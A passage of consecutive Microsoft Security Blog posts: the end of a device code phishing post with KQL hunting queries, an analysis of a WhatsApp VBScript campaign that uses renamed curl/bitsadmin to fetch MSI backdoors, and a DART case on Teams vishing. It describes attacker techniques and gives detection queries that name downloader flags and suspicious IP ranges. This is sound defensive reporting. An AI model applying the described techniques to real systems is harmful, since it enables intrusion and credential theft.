Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Using Safe Links and Microsoft Entra ID protection raises high confidence Device Code phishing alerts from Defender.

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious indicators mentioned in this blog post with data in their workspace. Additionally, Microsoft Sentinel customers can use the following queries to detect phishing attempts and email exfiltration attempts via Graph API. These queries can help customers remain vigilant and safeguard their organization from phishing attacks:

• Campaign with suspicious keywords
• Determine Successfully Delivered Phishing Emails to Inbox/Junk folder.
• Successful Sign-in from Phishing Link
• Phishing link click observed in Network Traffic
• Suspicious URL clicked Anomaly of MailItemAccess by GraphAPI
• OAuth Apps accessing user mail via GraphAPI
• OAuth Apps reading mail both via GraphAPI and directly
• OAuth Apps reading mail via GraphAPI anomaly 

Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Defender XDR customers can run the following queries to identify possible device code phishing related activity in their networks:

Validate errorCode 50199 followed by success in 5-minute time interval for the interested user, which suggests a pause to input the code from the phishing email.

EntraIdSigninEvents
    | where ErrorCode in (0, 50199)
    | summarize ErrorCodes = make_set(ErrorCode) by AccountUpn, CorrelationId, SessionId, bin(Timestamp, 1h)
    | where ErrorCodes has_all (0, 50199)

Validate Device code authentication from suspicious IP Ranges.

EntraIdSigninEvents
    | where Call has “Cmsi:cmsi” 
    | where IPAddress has_any (“162.220.232.”, “162.220.234.”, “89.150.45.”, “185.81.113.”, “8.228.105.”)

Correlate any URL clicks with suspicious sign-ins that follow with user interrupt indicated by the error code 50199.

let suspiciousUserClicks = materialize(UrlClickEvents
    | extend AccountUpn = tolower(AccountUpn)
    | project ClickTime = Timestamp, ActionType, UrlChain, NetworkMessageId, Url, AccountUpn);
//Check for Risky Sign-In in the short time window
let interestedUsersUpn = suspiciousUserClicks
    | where isnotempty(AccountUpn)
    | distinct AccountUpn;
EntraIdSigninEvents
    | where ErrorCode == 0
    | where AccountUpn in~ (interestedUsersUpn)
    | where RiskLevelDuringSignin in (10, 50, 100)
    | extend AccountUpn = tolower(AccountUpn)
    | join kind=inner suspiciousUserClicks on AccountUpn
    | where (Timestamp - ClickTime) between (-2min .. 7min)
    | project Timestamp, ReportId, ClickTime, AccountUpn, RiskLevelDuringSignin, SessionId, IPAddress, Url

Monitor for suspicious Device Registration activities that follow the Device code phishing compromise.

CloudAppEvents
| where AccountDisplayName == "Device Registration Service"
| extend ApplicationId_ = tostring(ActivityObjects[0].ApplicationId)
| extend ServiceName_ = tostring(ActivityObjects[0].Name)
| extend DeviceName = tostring(parse_json(tostring(RawEventData.ModifiedProperties))[1].NewValue)
| extend DeviceId = tostring(parse_json(tostring(parse_json(tostring(RawEventData.ModifiedProperties))[6].NewValue))[0])
| extend DeviceObjectId_ = tostring(parse_json(tostring(RawEventData.ModifiedProperties))[0].NewValue)
| extend UserPrincipalName = tostring(RawEventData.ObjectId)
| project TimeGenerated, ServiceName_, DeviceName, DeviceId, DeviceObjectId_, UserPrincipalName

Surface suspicious inbox rule creation (using applications) that follow the Device code phishing compromise.

CloudAppEvents
| where ApplicationId == “20893” // Microsoft Exchange Online
| where ActionType in ("New-InboxRule","Set-InboxRule","Set-Mailbox","Set-TransportRule","New-TransportRule","Enable-InboxRule","UpdateInboxRules")
| where isnotempty(IPAddress)
| mv-expand ActivityObjects
| extend name = parse_json(ActivityObjects).Name
| extend value = parse_json(ActivityObjects).Value
| where name == "Name"
| extend RuleName = value 
// we are extracting rule names that only contains special characters
| where RuleName matches regex "^[!@#$%^&*()_+={[}\\]|\\\\:;""'<,>.?/~` -]+$"

Surface suspicious email items accessed that follow the Device code phishing compromise.

CloudAppEvents
| where ApplicationId == “20893” // Microsoft Exchange Online
| where ActionType == “MailItemsAccessed”
| where isnotempty(IPAddress)
| where UncommonForUser has "ISP"

Indicators of compromise (IOC)

References

• Storm-2372 conducts device code phishing campaign
• Microsoft Documentation – OAuth 2.0 device authorization grant flow
• Huntress – Riding the Rails: Threat Actors Abuse Railway.com PaaS as Microsoft 365 Token Attack Infrastructure
• Seqoia – New widespread EvilTokens kit: device code phishing as-a-service – Part 1

This research is provided by Microsoft Defender Security Research with contributions from Krithika Ramakrishnan, Ofir Mastor, Bharat Vaghela, Shivas Raina, Parasharan Raghavan, and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Inside an AI‑enabled device code phishing campaign appeared first on Microsoft Security Blog.

Microsoft Defender Experts observed a campaign beginning in late February 2026 that uses WhatsApp messages to deliver malicious Visual Basic Script (VBS) files. Once executed, these scripts initiate a multi-stage infection chain designed to establish persistence and enable remote access.

The campaign relies on a combination of social engineering and living-off-the-land techniques. It uses renamed Windows utilities to blend into normal system activity, retrieves payloads from trusted cloud services such as AWS, Tencent Cloud, and Backblaze B2, and installs malicious Microsoft Installer (MSI) packages to maintain control of the system. By combining trusted platforms with legitimate tools, the threat actor reduces visibility and increases the likelihood of successful execution.

Attack chain overview

This campaign demonstrates a sophisticated infection chain combining social engineering (WhatsApp delivery), stealth techniques (renamed legitimate tools, hidden attributes), and cloud-based payload hosting. The attackers aim to establish persistence and escalate privileges, ultimately installing malicious MSI packages on victim systems. 

Stage 1: Initial Access via WhatsApp

The campaign begins with the delivery of malicious Visual Basic Script (VBS) files through WhatsApp messages, exploiting the trust users place in familiar communication platforms. Once executed, these scripts create hidden folders in C:\ProgramData and drop renamed versions of legitimate Windows utilities such as curl.exe renamed as netapi.dll and bitsadmin.exe as sc.exe. By disguising these tools under misleading names, attackers ensure they blend seamlessly into the system environment. Notably, these renamed binaries Notably, these renamed binaries retain their original PE (Portable Executable) metadata, including the OriginalFileName field which still identifies them as curl.exe and bitsadmin.exe. This means Microsoft Defender and other security solutions can leverage this metadata discrepancy as a detection signal, flagging instances where a file’s name does not match its embedded OriginalFileName. 

However, for environments where PE metadata inspection is not actively monitored, defenders may need to rely on command line flags and network telemetry to hunt for malicious activity. The scripts execute these utilities with downloader flags, initiating the retrieval of additional payloads.

Stage 2: Payload Retrieval from Cloud Services

After establishing a foothold, the malware advances to its next phase: downloading secondary droppers like auxs.vbs and WinUpdate_KB5034231.vbs. These files are hosted on trusted cloud platforms such as AWS S3, Tencent Cloud, and Backblaze B2, which attackers exploit to mask malicious activity as legitimate traffic.  

In the screenshot below, the script copies legitimate Windows utilities (curl.exe, bitsadmin.exe) into a hidden folder under C:\ProgramData\EDS8738, renaming them as netapi.dll and sc.exe respectively. Using these renamed binaries with downloader flags, the script retrieves secondary VBS payloads (auxs.vbs, 2009.vbs) from cloud-hosted infrastructure. This technique allows malicious network requests to blend in as routine system activity. 

By embedding their operations within widely used cloud services, adversaries make it difficult for defenders to distinguish between normal enterprise activity and malicious downloads. This reliance on cloud infrastructure demonstrates a growing trend in cybercrime, where attackers weaponize trusted technologies to evade detection and complicate incident response. 

Stage 3: Privilege Escalation & Persistence

Once the secondary payloads are in place, the malware begins tampering with User Account Control (UAC) settings to weaken system defenses. It continuously attempts to launch cmd.exe with elevated privileges retrying until UAC elevation succeeds or the process is forcibly terminated modifying registry entries under HKLM\Software\Microsoft\Win, and embedding persistence mechanisms to ensure the infection survives system reboots.  

These actions allow attackers to escalate privileges, gain administrative control, and maintain a long‑term presence on compromised devices. The malware modifies the ConsentPromptBehaviorAdmin registry value to suppress UAC prompts, silently granting administrative privileges without user interaction by combining registry manipulation with UAC bypass techniques, the malware ensures that even vigilant users or IT teams face significant challenges in removing the infection. 

Stage 4: Final Payload Delivery

In the final stage, the campaign delivers malicious MSI installers, including Setup.msi, WinRAR.msi, LinkPoint.msi, and AnyDesk.msi. all of which are unsigned. The absence of a valid code signing certificate is a notable indicator, as legitimate enterprise software of this nature would typically carry a trusted publisher signature. These installers enable attackers to establish remote access, giving them the ability to control victim systems directly.

The use of MSI packages also helps the malware blend in with legitimate enterprise software deployment practices, reducing suspicion among users and administrators. Once installed, tools like AnyDesk provide attackers with persistent remote connectivity, allowing them to exfiltrate data, deploy additional malware, or use compromised systems as part of a larger network of infected devices. 

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of the WhatsApp VBS Malware Campaign discussed in this report. These recommendations draw from established Defender blog guidance patterns and align with protections offered across Microsoft Defender.  

Organizations can follow these recommendations to mitigate threats associated with this threat:       

• Strengthen Endpoint Controls Block or restrict execution of script hosts (wscript, cscript, mshta) in untrusted paths, and monitor for renamed or hidden Windows utilities being executed with unusual flags. 

• Enhance Cloud Traffic Monitoring Inspect and filter traffic to cloud services like AWS, Tencent Cloud, and Backblaze B2, ensuring malicious payload downloads are detected even when hosted on trusted platforms. 

• Detect Persistence Techniques Continuously monitor registry changes under HKLM\Software\Microsoft\Win and flag repeated tampering with User Account Control (UAC) settings as indicators of compromise. 

• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat‑intelligence sources.  

• Educate Users on Social Engineering Train employees to recognize suspicious WhatsApp attachments and unexpected messages, reinforcing that even familiar platforms can be exploited for malware delivery. 

Microsoft also recommends the following mitigations to reduce the impact of this threat:  

• Turn on  cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.  

• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware. 

The following mitigations apply specifically to Microsoft Defender Endpoint security 

• Run EDR in block mode  so malicious artifacts can be blocked, even if your antivirus provider does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.  

• Enable network protection and web protection to safeguard against malicious sites and internet-based threats.  

• Allow investigation and remediation in full automated mode to take immediate action on alerts to resolve breaches, significantly reducing alert volume.  

• Turn on the tamper protection feature to prevent attackers from stopping security services. Combine tamper protection with the  DisableLocalAdminMerge setting to help prevent attackers from using local administrator privileges to set antivirus exclusions.  

• Microsoft Defender customers can also implement the following attack surface reduction rules to harden an environment against LOLBAS techniques used by threat actors:  

•  Block execution of potentially obfuscated scripts 

•  Block executable files from running unless they meet a prevalence, age, or trusted list criterion 

• Block JavaScript or VBScript from launching downloaded executable content 

 Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.  

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.  

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.  

Microsoft Sentinel 

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.  

Microsoft Defender threat analytics

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.  

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following query to find related activity in their networks:  

Malicious script execution  

DeviceProcessEvents  
| where InitiatingProcessFileName has "wscript.exe"  
| where InitiatingProcessCommandLine has_all ("wscript.exe",".vbs")  
| where ProcessCommandLine has_all ("ProgramData","-K","-s","-L","-o", "https:")   

Malicious next stage VBS payload drop   

DeviceFileEvents  
| where InitiatingProcessFileName endswith ".dll"  
| where InitiatingProcessVersionInfoOriginalFileName contains "curl.exe"  
| where FileName endswith ".vbs"  

Malicious installer payload drop

DeviceFileEvents  
| where InitiatingProcessFileName endswith ".dll"  
| where InitiatingProcessVersionInfoOriginalFileName contains "curl.exe"  
| where FileName endswith ".msi"  

Malicious outbound network communication  

DeviceNetworkEvents  
| where InitiatingProcessFileName endswith ".dll"  
| where InitiatingProcessVersionInfoOriginalFileName contains "curl.exe"  
| where InitiatingProcessCommandLine has_all ("-s","-L","-o", "-k")  

Indicators of compromise

Initial Stage: VBS Scripts delivered via WhatsApp 

Next Stage VBS payload/Dropper dropped from cloud storage 

MSI installers (Final payload)

Cloud storage URLs: Payload hosting 

Command and control (C2) infrastructure 

This research is provided by Microsoft Defender Security Research with contributions from Sabitha S and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

Learn more about Protect your agents in real-time during runtime (Preview) – Microsoft Defender for Cloud Apps

Explore how to build and customize agents with Copilot Studio Agent Builder 

Microsoft 365 Copilot AI security documentation 

How Microsoft discovers and mitigates evolving attacks against AI guardrails 

Learn more about securing Copilot Studio agents with Microsoft Defender  

The post WhatsApp malware campaign delivers VBScript and MSI backdoors appeared first on Microsoft Security Blog.

This case highlights a growing class of cyberattacks that exploit trust, collaboration platforms, and built-in tooling, and underscores why defenders must be prepared to detect and disrupt these techniques before they escalate. Read the full report to dive deeper into this vishing breach of trust.

What happened?

Once remote interactive access was established, the threat actor shifted from social engineering to hands-on keyboard compromise, steering the user toward a malicious website under their control. Evidence gathered from browser history and Quick Assist artifacts showed the user was prompted to enter corporate credentials into a spoofed web form, which then initiated the download of multiple malicious payloads. One of the earliest artifacts—a disguised Microsoft Installer (MSI) package—used trusted Windows mechanisms to sideload a malicious dynamic link library (DLL) and establish outbound command-and-control, allowing the threat actor to execute code under the guise of legitimate software.

Subsequent payloads expanded this foothold, introducing encrypted loaders, remote command execution through standard administrative tooling, and proxy-based connectivity to obscure threat actor activity. Over time, additional components enabled credential harvesting and session hijacking, giving the threat actor sustained, interactive control within the environment and the ability to operate using techniques designed to blend in with normal enterprise activity rather than trigger overt alarms.

How did Microsoft respond?

Given the growing pattern of identity-first intrusions that begin with collaboration-based social engineering, DART moved quickly to contain risk and validate scope. The team confirmed that the compromise originated from a successful Microsoft Teams voice phishing interaction and immediately prioritized actions to prevent identity or directory-level impact. Through focused investigation, we established that the activity was short-lived and limited in reach, allowing responders to concentrate on early-stage tooling and entry points to understand how access was achieved and constrained.

To disrupt the intrusion, DART conducted targeted eviction and applied tactical containment controls to protect privileged assets and restrict lateral movement. Using proprietary forensic and investigation tooling, the team collected and analyzed evidence across affected systems, validated that threat actor objectives were not met, and confirmed the absence of persistence mechanisms. These actions enabled rapid recovery while helping to ensure the environment was fully secured before declaring the incident resolved.

What can customers do to strengthen their defenses?

Human nature works against us in these cyberattacks. Employees are conditioned to be responsive, helpful, and collaborative, especially when requests appear to come from internal IT or support teams. Threat actors exploit that instinct, using voice phishing and collaboration tools to create a sense of urgency and legitimacy that can override caution in the moment.

To mitigate exposure, DART recommends organizations take deliberate steps to limit how social engineering attacks can propagate through Microsoft Teams and how legitimate remote access tools can be misused. This starts with tightening external collaboration by restricting inbound communications from unmanaged Teams accounts and implementing an allowlist model that permits contact only from trusted external domains. At the same time, organizations should review their use of remote monitoring and management tools, inventory what is truly required, and remove or disable utilities—such as Quick Assist—where they are unnecessary.

Together, these measures help shrink the attack surface, reduce opportunities for identity-driven compromise, and make it harder for threat actors to turn human trust into initial access, while preserving the collaboration employees rely on to do their work.

What is the Cyberattack Series?

In our Cyberattack Series, customers discover how DART investigates unique and notable attacks. For each cyberattack story, we share:

• How the cyberattack happened.
• How the breach was discovered.
• Microsoft’s investigation and eviction of the threat actor.
• Strategies to avoid similar cyberattacks.

DART is made up of highly skilled investigators, researchers, engineers, and analysts who specialize in handling global security incidents. We’re here for customers with dedicated experts to work with you before, during, and after a cybersecurity incident.

Learn more

To learn more about DART capabilities, please visit our website, or reach out to your Microsoft account manager or Premier Support contact. To learn more about the cybersecurity incidents described above, including more insights and information on how to protect your own organization, download the full report.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Microsoft Digital Defense Report 2025.

The post Help on the line: How a Microsoft Teams support call led to compromise appeared first on Microsoft Security Blog.